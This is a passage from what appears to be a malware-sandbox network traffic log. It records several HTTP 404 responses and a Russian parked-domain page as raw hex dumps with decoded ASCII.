45 51 18 3d e5 80 9a 58 c5 98 38 72 1b a5 a2 20 78 25 f3 f2 48 6f b3 97 9f 59 2f 82 0c 1c 47 16 89 9f 5a b7 f9 41 45 fd e6 9e 9d a4 a3 63 f0 da 0e 3b e3 0c d9 6d 6b 08 5f 09 f3 af 45 ee 6b a5 68 e5 36 c6 ed f4 53 ab dd 6d f9 5e b7 a7 81 07 92 a5 a2 a2 1c ee dc 6a a5 0f 48 e4 4c 8b 91 9e 62 be e3 ed 2c 1d 6a 05 a1 26 95 b4 ba 82 89 92 6f 92 a3 e4 51 72 90 3c 16 c9 77 c9 fe e4 23 7c bc 97 1c 4e 3e 9e dc c0 e7 43 fc 1e 25 77 93 7d 7a 7c 77 25 68 c7 c3 b5 3a a2 d1 c4 6d db 22 d4 66 58 ed 69 3d 8c 2f 38 0e 82 cf 46 f8 9a 60 08 c2 ed d0 f7 c3 5d 11 84 e1 50 01 25 f8 80 38 00 5a 54 04 3c cb a8 4b 41 dd 6a 23 ea fb 50 e6 af 34 bb 3d f9 68 72 b3 ee c8 66 dd c1 3a 9a f5 b9 c5 74 55 ab 95 46 ba b5 1b c9 e1 10 42 53 03 cf b7 b7 38 16 5b 88 05 d0 c2 d2 4e ec 96 5e 18 6b 90 88 15 6b a9 3d 17 0e 98 9b 75 c6 d6 56 3a 3f f9 69 75 6a 8d 39 8f 58 4c 0d a5 25 bc d1 5b 6d d6 87 cb c7 76 94 41 31 42 f5 d9 7d 55 6f 47 cd e4 d0 b8 2b f9 81 fc 98 fc c0 be 7d 70 cc 9b 33 26 1f 2e 5b 76 7b a4 75 18 c4 99 bd b1 ee 02 08 cc 43 68 69 3e c0 09 7e 18 b5 d8 cb 2a 70 09 6a e9 83 d8 bb aa 5a f0 ff 40 fa ec 8c d4 a6 f9 f8 dc 7e 69 7f 76 0c 38 b9 20 62 28 3b 1d b8 a9 e5 13 72 e6 91 47 04 6d d0 e7 ec f6 42 2f 76 d6 dd 9e 72 fb 8d 95 0e 27 8a 45 fc bd 22 07 c3 35 8c 69 c5 e1 28 72 55 23 53 81 98 b9 d4 fc 35 49 21 24 8a e2 7a 29 70 8a fa 33 75 17 e2 f1 e4 f5 74 c2 81 f4 72 82 cf 82 a6 a0 ba e9 e0 04 6a d7 59 1f e9 41 a6 d9 42 ed e9 39 e5 98 d1 20 d3 7c 85 9a 5c ac 4a 7a dd a0 11 c3 50 41 a7 05 59 27 2f 34 f9 3b 80 f1 9f e4 40 4c 3e 4d 8e 26 9f 4d 6e 8a e4 7e c6 0b a7 0b a1 18 0f 65 b0 00 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:50:55 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b 6f 5e 7c fd d2 eb 9b 67 9c 53 bb 5e d0 09 77 6d 1d 49 b7 bf c1 1d de 0e 65 47 34 c4 f6 28 70 b5 17 06 95 ea b5 bd b5 53 ce 99 ad ad e6 19 a7 ee a4 42 52 61 22 0c 7c 74 6f 94 16 8b a9 94 9d 81 0c bc 6d 15 6b fb 72 5c ae 96 d0 5f 45 51 18 3d e5 80 9a 58 c5 98 38 72 1b a5 a2 20 78 25 f3 f2 48 6f b3 97 9f 59 2f 82 0c 1c 47 16 89 9f 5a b7 f9 41 45 fd e6 9e 9d a4 a3 63 f0 da 0e 3b e3 0c d9 6d 6b 08 5f 09 f3 af 45 ee 6b a5 68 e5 36 c6 ed f4 53 ab dd 6d f9 5e b7 a7 81 07 92 a5 a2 a2 1c ee dc 6a a5 0f 48 e4 4c 8b 91 9e 62 be e3 ed 2c 1d 6a 05 a1 26 95 b4 ba 82 89 92 6f 92 a3 e4 51 72 90 3c 16 c9 77 c9 fe e4 23 7c bc 97 1c 4e 3e 9e dc c0 e7 43 fc 1e 25 77 93 7d 7a 7c 77 25 68 c7 c3 b5 3a a2 d1 c4 6d db 22 d4 66 58 ed 69 3d 8c 2f 38 0e 82 cf 46 f8 9a 60 08 c2 ed d0 f7 c3 5d 11 84 e1 50 01 25 f8 80 38 00 5a 54 04 3c cb a8 4b 41 dd 6a 23 ea fb 50 e6 af 34 bb 3d f9 68 72 b3 ee c8 66 dd c1 3a 9a f5 b9 c5 74 55 ab 95 46 ba b5 1b c9 e1 10 42 53 03 cf b7 b7 38 16 5b 88 05 d0 c2 d2 4e ec 96 5e 18 6b 90 88 15 6b a9 3d 17 0e 98 9b 75 c6 d6 56 3a 3f f9 69 75 6a 8d 39 8f 58 4c 0d a5 25 bc d1 5b 6d d6 87 cb c7 76 94 41 31 42 f5 d9 7d 55 6f 47 cd e4 d0 b8 2b f9 81 fc 98 fc c0 be 7d 70 cc 9b 33 26 1f 2e 5b 76 7b a4 75 18 c4 99 bd b1 ee 02 08 cc 43 68 69 3e c0 09 7e 18 b5 d8 cb 2a 70 09 6a e9 83 d8 bb aa 5a f0 ff 40 fa ec 8c d4 a6 f9 f8 dc 7e 69 7f 76 0c 38 b9 20 62 28 3b 1d b8 a9 e5 13 72 e6 91 47 04 6d d0 e7 ec f6 42 2f 76 d6 dd 9e 72 fb 8d 95 0e 27 8a 45 fc bd 22 07 c3 35 8c 69 c5 e1 28 72 55 23 53 81 98 b9 d4 fc 35 49 21 24 8a e2 7a 29 70 8a fa 33 75 17 e2 f1 e4 f5 74 c2 81 f4 72 82 cf 82 a6 a0 ba e9 e0 04 6a d7 59 1f e9 41 a6 d9 42 ed e9 39 e5 98 d1 20 d3 7c 85 9a 5c ac 4a 7a dd a0 11 c3 50 41 a7 05 59 27 2f 34 f9 3b 80 f1 9f e4 40 4c 3e 4d 8e 26 9f 4d 6e 8a e4 7e c6 0b a7 0b a1 18 0f 65 b0 00 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:50:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeData Raw: 32 34 66 63 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 6d 61 72 6b 65 74 70 6c 61 63 65 72 2e 74 6f 70 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 3c 73 63 72 69 70 74 3e 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 0a 2f 2a 5d 5d 3e 2a 2f 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 62 2d 70 61 67 65 20 62 2d 70 61 67 65 5f 74 79 70 65 5f 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 5f 62 67 5f 6c 69 67 68 74 22 3e 3c 68 65 61 64 65 72 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 20 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 5f 74 79 70 65 5f 72 64 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 2d 6e 6f 74 65 20 62 2d 74 65 78 74 22 3e d0 94 d0 be d0 bc d0 b5 d0 bd 20 d0 b7 d0 b0 d1 80 d0 b5 d0 b3 d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:51:32 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:51:35 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:51:37 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:51:40 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Thu, 07 Nov 2024 09:51:59 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Thu, 07 Nov 2024 09:51:59 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Thu, 07 Nov 2024 09:52:02 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 